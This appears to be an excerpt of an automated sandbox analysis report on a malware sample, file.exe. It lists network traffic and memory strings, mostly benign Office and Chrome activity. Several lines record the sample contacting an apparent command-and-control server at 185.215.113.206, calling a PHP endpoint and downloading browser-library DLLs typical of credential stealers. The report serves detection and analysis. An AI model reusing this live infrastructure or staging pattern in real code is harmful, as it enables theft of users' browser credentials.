Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000003.1821493832.00002F340480C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821313444.00002F340539C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821454613.00002F3405344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000003.1821493832.00002F340480C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821313444.00002F340539C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821454613.00002F3405344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000002.1919687488.00002F34046C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2074918053.0000000000386000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2074918053.00000000002CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2074918053.00000000002CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php$
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php9
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpA-
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpC
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpIDAKECFIEBGDHJEBK
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpRF
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpcal
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpenSSH
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpf
Source: file.exe, 00000000.00000002.2074918053.00000000002CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpl
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpnAu
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phptware
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllC
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllY
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllq
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllO
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll0m
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllPm
Source: file.exe, 00000000.00000002.2074918053.00000000002CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206DAF
Source: chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
